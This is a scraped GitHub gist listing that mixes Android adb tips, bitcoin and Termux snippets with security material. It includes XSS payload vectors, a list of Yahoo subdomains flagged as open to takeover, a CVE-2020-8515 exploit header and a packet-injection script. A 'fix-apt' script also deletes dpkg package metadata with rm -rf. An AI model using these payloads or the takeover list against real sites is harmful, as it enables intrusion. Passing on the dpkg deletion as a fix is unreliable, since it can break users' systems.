Skip to content

Instantly share code, notes, and snippets.

View SleepTheGod's full-sized avatar
💭
chrome://quit

Taylor Christian Newsome SleepTheGod

💭
chrome://quit
View GitHub Profile
@jevakallio
jevakallio / readme.md
Last active April 8, 2025 09:33
`adb pull` from app data directory without root access

TL;DR;

com.package.name is your app identifier, and the file path is relative to the app user's home directory, e.g. '/data/user/0/com.package.name.

adb shell run-as com.package.name cp relative/path/file.ext /sdcard
adb pull /sdcard/file.ext

See long explanation below.

@th3gundy
th3gundy / CVE-2020-8515.go
Created March 30, 2020 10:24 — forked from 0xsha/CVE-2020-8515.go
CVE-2020-8515: DrayTek pre-auth remote root RCE
package main
/*
CVE-2020-8515: DrayTek pre-auth remote root RCE
Mon Mar 30 2020 - 0xsha.io
Affected:
@davidlares
davidlares / rawInjection.py
Last active January 19, 2024 20:46
Raw Sockets with Python: Sniffing and network packet injections.
#!/usr/bin/python
import socket
import struct
# creating a rawSocket for communications
# PF_SOCKET (packet interface), SOCK_RAW (Raw socket) - htons (protocol) 0x08000 = IP Protocol
rawSocket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
# deciding interface - packet sniffing and then injection
@System-Glitch
System-Glitch / generate_blocks.sh
Last active March 8, 2025 02:10
Tutorial for bitcoin regtest
# Script to generate a new block every minute
# Put this script at the root of your unpacked folder
#!/bin/bash
echo "Generating a block every minute. Press [CTRL+C] to stop.."
address=`./bin/bitcoin-cli getnewaddress`
while :
do
@GabrielMMelo
GabrielMMelo / sudo-termux
Created January 22, 2019 12:33
Install sudo in Termux (Android)
apt install git
git clone https://gitlab.com/st42/termux-sudo
cd termux-sudo
cat sudo > /data/data/com.termux/files/usr/bin/sudo
chmod 700 /data/data/com.termux/files/usr/bin/sudo
Domain Cname Provider IsVulnerable IsTakenOver Response
actapi.corp.yahoo.com actapi-omega.corp.yahoodns.net. true false Dead DNS record
admin.ckms.yahoo.com admin.ckms.a04.yahoodns.net. true false Dead DNS record
admindb.blackbird.ah.yahoo.com admin.blb.abuse.a03.yahoodns.net. true false Dead DNS record
admin.realestate.yahoo.com cc.realestate.a1.b.yahoo.com. true false Dead DNS record
admin.nuwa.search.yahoo.com admin.nuwa.search.g04.yahoodns.net. true false Dead DNS record
admintool-usintl.messages.yahoo.com mb-nf.a01.yahoodns.net. true false Dead DNS record
adminui.blackbird.ah.yahoo.com admin.blb.abuse.a03.yahoodns.net. true false Dead DNS record
admin.yhs.search.yahoo.com admin2.yhs.search.a04.yahoodns.net. true false Dead DNS record
admin.yahoo.com admin.my.lga1.b.yahoo.com. true false Dead DNS record
@th3gundy
th3gundy / 666_lines_of_XSS_vectors.html
Created November 27, 2017 13:19 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@Pulimet
Pulimet / AdbCommands
Last active April 22, 2025 20:37
Adb useful commands list
Hi All!
I've recently launched a tool that wraps many of the commands here with a user interface. This desktop application is currently available for macOS. There's a roadmap outlining planned features for the near future.
Feel free to request any features you'd like to see, and I'll prioritize them accordingly.
One of the most important aspects of this application is that every command executed behind the scenes is displayed in a special log section. This allows you to see exactly what’s happening and learn from it.
Here's the link to the repository: https://github.com/Pulimet/ADBugger
App Description:
ADBugger is a desktop tool designed for debugging and QA of Android devices and emulators. It simplifies testing, debugging, and performance analysis by offering device management, automated testing, log analysis, and remote control capabilities. This ensures smooth app performance across various setups.
@ryanpadilha
ryanpadilha / fix-apt-get.sh
Last active March 22, 2025 18:06
Commands to fix apt - E: Sub-process /usr/bin/dpkg returned an error code (1)
#!/bin/bash
sudo rm -rf /var/lib/dpkg/info/*.*
sudo apt-get autoremove
sudo apt-get autoclean
sudo apt-get update
sudo apt-get check
sudo apt-get -f install
sudo apt-get upgrade